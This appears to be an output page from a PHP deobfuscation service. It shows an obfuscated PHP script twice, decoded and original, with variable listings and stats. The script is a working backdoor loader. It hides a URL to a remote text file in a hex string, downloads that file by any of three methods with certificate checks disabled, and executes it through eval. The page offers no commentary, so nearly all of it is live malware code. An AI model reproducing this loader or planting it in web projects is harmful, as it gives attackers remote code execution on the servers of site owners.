Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"GLOBALS"}["qncdvqt"] = "phpScript"; ${"GLOBALS"}["ggrxfysp"] = "fp"; ${"GLOBA..

Decoded Output download

<?php ${"GLOBALS"}["qncdvqt"] = "phpScript";  
${"GLOBALS"}["ggrxfysp"] = "fp";  
${"GLOBALS"}["fskghdytx"] = "result";  
${"GLOBALS"}["hogwmdcws"] = "data";  
${"GLOBALS"}["gtwbkafb"] = "phpScript";  
$mpyxcyjsie = "url";  
${"GLOBALS"}["ckowvw"] = "ch";  
${"GLOBALS"}["bjffoiqzu"] = "phpScript";  
${"GLOBALS"}["wclftod"] = "url";  
$tndxalavvqbe = "hexUrl";  
${"GLOBALS"}["crokcjrtq"] = "i";  
${"GLOBALS"}["bkopwdjr"] = "str";  
${"GLOBALS"}["iygkldco"] = "hexUrl";  
${${"GLOBALS"}["iygkldco"]} =  
    "68747470733A2F2F61796F677373746F72652E636F6D2F6D616E692E747874";  
function hex2str($hex)  
{  
    ${"GLOBALS"}["svzrevbsuhe"] = "i";  
    $tmmqlu = "hex";  
    $jkfwrfq = "i";  
    ${${"GLOBALS"}["bkopwdjr"]} = "";  
    ${"GLOBALS"}["ktmvtrs"] = "str";  
    for (  
        ${$jkfwrfq} = 0;  
        ${${"GLOBALS"}["crokcjrtq"]} < strlen(${$tmmqlu}) - 1;  
        ${${"GLOBALS"}["svzrevbsuhe"]} += 2  
    ) {  
        ${"GLOBALS"}["jpthphrplej"] = "str";  
        ${"GLOBALS"}["koccfytrml"] = "i";  
        ${"GLOBALS"}["axvgbnqmm"] = "hex";  
        $bkcwukzhzd = "hex";  
        ${${"GLOBALS"}["jpthphrplej"]} .= chr(  
            hexdec(  
                ${$bkcwukzhzd}[${${"GLOBALS"}["koccfytrml"]}] .  
                    ${${"GLOBALS"}["axvgbnqmm"]}[  
                        ${${"GLOBALS"}["crokcjrtq"]} + 1  
                    ]  
            )  
        );  
    }  
    return ${${"GLOBALS"}["ktmvtrs"]};  
}  
${${"GLOBALS"}["wclftod"]} = hex2str(${$tndxalavvqbe});  
function doWiFiGeCo($url)  
{  
    if (ini_get("a" . "llow" . "_ur" . "l_fo" . "pe" . "n")) {  
        return file_get_contents(${${"GLOBALS"}["wclftod"]});  
    }  
    return false;  
}  
function doWiCu($url)  
{  
    if (function_exists("c" . "u" . "rl" . "_i" . "n" . "i" . "t")) {  
        ${"GLOBALS"}["yrsapzvi"] = "ch";  
        $nqtctalzo = "ch";  
        ${"GLOBALS"}["wbdseoxjp"] = "ch";  
        ${${"GLOBALS"}["wbdseoxjp"]} = curl_init();  
        curl_setopt(  
            ${${"GLOBALS"}["ckowvw"]},  
            CURLOPT_URL,  
            ${${"GLOBALS"}["wclftod"]}  
        );  
        curl_setopt(${${"GLOBALS"}["ckowvw"]}, CURLOPT_RETURNTRANSFER, 1);  
        curl_setopt(${$nqtctalzo}, CURLOPT_SSL_VERIFYPEER, false);  
        ${${"GLOBALS"}["hogwmdcws"]} = curl_exec(${${"GLOBALS"}["yrsapzvi"]});  
        curl_close(${${"GLOBALS"}["ckowvw"]});  
        return ${${"GLOBALS"}["hogwmdcws"]};  
    }  
    return false;  
}  
function doWiFo($url)  
{  
    $jlispsv = "url";  
    ${${"GLOBALS"}["fskghdytx"]} = false;  
    if (${${"GLOBALS"}["ggrxfysp"]} = fopen(${$jlispsv}, "r")) {  
        $winyekpal = "data";  
        ${"GLOBALS"}["wlwrxyga"] = "fp";  
        ${${"GLOBALS"}["fskghdytx"]} = "";  
        while (${$winyekpal} = fread(${${"GLOBALS"}["ggrxfysp"]}, 8192)) {  
            ${"GLOBALS"}["qnuwwcrye"] = "data";  
            ${${"GLOBALS"}["fskghdytx"]} .= ${${"GLOBALS"}["qnuwwcrye"]};  
        }  
        fclose(${${"GLOBALS"}["wlwrxyga"]});  
    }  
    return ${${"GLOBALS"}["fskghdytx"]};  
}  
${${"GLOBALS"}["qncdvqt"]} = doWiFiGeCo(${$mpyxcyjsie});  
if (${${"GLOBALS"}["gtwbkafb"]} === false) {  
    ${${"GLOBALS"}["qncdvqt"]} = doWiCu(${${"GLOBALS"}["wclftod"]});  
}  
if (${${"GLOBALS"}["bjffoiqzu"]} === false) {  
    ${"GLOBALS"}["mlakpbwfvd"] = "phpScript";  
    $dhrdhuql = "url";  
    ${${"GLOBALS"}["mlakpbwfvd"]} = doWiFo(${$dhrdhuql});  
}  
if (${${"GLOBALS"}["qncdvqt"]} === false) {  
    die("False.");  
}  
eval("?>" . ${${"GLOBALS"}["qncdvqt"]}); 

Did this file decode correctly?

Original Code

<?php ${"GLOBALS"}["qncdvqt"] = "phpScript"; 
${"GLOBALS"}["ggrxfysp"] = "fp"; 
${"GLOBALS"}["fskghdytx"] = "result"; 
${"GLOBALS"}["hogwmdcws"] = "data"; 
${"GLOBALS"}["gtwbkafb"] = "phpScript"; 
$mpyxcyjsie = "url"; 
${"GLOBALS"}["ckowvw"] = "ch"; 
${"GLOBALS"}["bjffoiqzu"] = "phpScript"; 
${"GLOBALS"}["wclftod"] = "url"; 
$tndxalavvqbe = "hexUrl"; 
${"GLOBALS"}["crokcjrtq"] = "i"; 
${"GLOBALS"}["bkopwdjr"] = "str"; 
${"GLOBALS"}["iygkldco"] = "hexUrl"; 
${${"GLOBALS"}["iygkldco"]} = 
    "68747470733A2F2F61796F677373746F72652E636F6D2F6D616E692E747874"; 
function hex2str($hex) 
{ 
    ${"GLOBALS"}["svzrevbsuhe"] = "i"; 
    $tmmqlu = "hex"; 
    $jkfwrfq = "i"; 
    ${${"GLOBALS"}["bkopwdjr"]} = ""; 
    ${"GLOBALS"}["ktmvtrs"] = "str"; 
    for ( 
        ${$jkfwrfq} = 0; 
        ${${"GLOBALS"}["crokcjrtq"]} < strlen(${$tmmqlu}) - 1; 
        ${${"GLOBALS"}["svzrevbsuhe"]} += 2 
    ) { 
        ${"GLOBALS"}["jpthphrplej"] = "str"; 
        ${"GLOBALS"}["koccfytrml"] = "i"; 
        ${"GLOBALS"}["axvgbnqmm"] = "hex"; 
        $bkcwukzhzd = "hex"; 
        ${${"GLOBALS"}["jpthphrplej"]} .= chr( 
            hexdec( 
                ${$bkcwukzhzd}[${${"GLOBALS"}["koccfytrml"]}] . 
                    ${${"GLOBALS"}["axvgbnqmm"]}[ 
                        ${${"GLOBALS"}["crokcjrtq"]} + 1 
                    ] 
            ) 
        ); 
    } 
    return ${${"GLOBALS"}["ktmvtrs"]}; 
} 
${${"GLOBALS"}["wclftod"]} = hex2str(${$tndxalavvqbe}); 
function doWiFiGeCo($url) 
{ 
    if (ini_get("a" . "llow" . "_ur" . "l_fo" . "pe" . "n")) { 
        return file_get_contents(${${"GLOBALS"}["wclftod"]}); 
    } 
    return false; 
} 
function doWiCu($url) 
{ 
    if (function_exists("c" . "u" . "rl" . "_i" . "n" . "i" . "t")) { 
        ${"GLOBALS"}["yrsapzvi"] = "ch"; 
        $nqtctalzo = "ch"; 
        ${"GLOBALS"}["wbdseoxjp"] = "ch"; 
        ${${"GLOBALS"}["wbdseoxjp"]} = curl_init(); 
        curl_setopt( 
            ${${"GLOBALS"}["ckowvw"]}, 
            CURLOPT_URL, 
            ${${"GLOBALS"}["wclftod"]} 
        ); 
        curl_setopt(${${"GLOBALS"}["ckowvw"]}, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt(${$nqtctalzo}, CURLOPT_SSL_VERIFYPEER, false); 
        ${${"GLOBALS"}["hogwmdcws"]} = curl_exec(${${"GLOBALS"}["yrsapzvi"]}); 
        curl_close(${${"GLOBALS"}["ckowvw"]}); 
        return ${${"GLOBALS"}["hogwmdcws"]}; 
    } 
    return false; 
} 
function doWiFo($url) 
{ 
    $jlispsv = "url"; 
    ${${"GLOBALS"}["fskghdytx"]} = false; 
    if (${${"GLOBALS"}["ggrxfysp"]} = fopen(${$jlispsv}, "r")) { 
        $winyekpal = "data"; 
        ${"GLOBALS"}["wlwrxyga"] = "fp"; 
        ${${"GLOBALS"}["fskghdytx"]} = ""; 
        while (${$winyekpal} = fread(${${"GLOBALS"}["ggrxfysp"]}, 8192)) { 
            ${"GLOBALS"}["qnuwwcrye"] = "data"; 
            ${${"GLOBALS"}["fskghdytx"]} .= ${${"GLOBALS"}["qnuwwcrye"]}; 
        } 
        fclose(${${"GLOBALS"}["wlwrxyga"]}); 
    } 
    return ${${"GLOBALS"}["fskghdytx"]}; 
} 
${${"GLOBALS"}["qncdvqt"]} = doWiFiGeCo(${$mpyxcyjsie}); 
if (${${"GLOBALS"}["gtwbkafb"]} === false) { 
    ${${"GLOBALS"}["qncdvqt"]} = doWiCu(${${"GLOBALS"}["wclftod"]}); 
} 
if (${${"GLOBALS"}["bjffoiqzu"]} === false) { 
    ${"GLOBALS"}["mlakpbwfvd"] = "phpScript"; 
    $dhrdhuql = "url"; 
    ${${"GLOBALS"}["mlakpbwfvd"]} = doWiFo(${$dhrdhuql}); 
} 
if (${${"GLOBALS"}["qncdvqt"]} === false) { 
    die("False."); 
} 
eval("?>" . ${${"GLOBALS"}["qncdvqt"]}); 

Function Calls

strlen 1
hex2str 1

Variables

i 0
str
$hex hexUrl
hexUrl 68747470733A2F2F61796F677373746F72652E636F6D2F6D616E692E7478..
$tmmqlu hex
GLOBALS [{'key': 'qncdvqt', 'value': 'phpScript'}, {'key': 'ggrxfysp', 'value': 'fp'}, {'key': 'fskghdytx', 'value': 'result'}, {'key': 'hogwmdcws', 'value': 'data'}, {'key': 'gtwbkafb', 'value': 'phpScript'}, {'key': 'ckowvw', 'value': 'ch'}, {'key': 'bjffoiqzu', 'value': 'phpScript'}, {'key': 'wclftod', 'value': 'url'}, {'key': 'crokcjrtq', 'value': 'i'}, {'key': 'bkopwdjr', 'value': 'str'}, {'key': 'iygkldco', 'value': 'hexUrl'}, {'key': 'svzrevbsuhe', 'value': 'i'}, {'key': 'ktmvtrs', 'value': 'str'}, {'key': 'jpthphrplej', 'value': 'str'}, {'key': 'koccfytrml', 'value': 'i'}, {'key': 'axvgbnqmm', 'value': 'hex'}]
$jkfwrfq i
$bkcwukzhzd hex
$mpyxcyjsie url
$tndxalavvqbe hexUrl

Stats

MD5 cde1a1735b7ec5b52bda3a5163d968a3
Eval Count 0
Decode Time 96 ms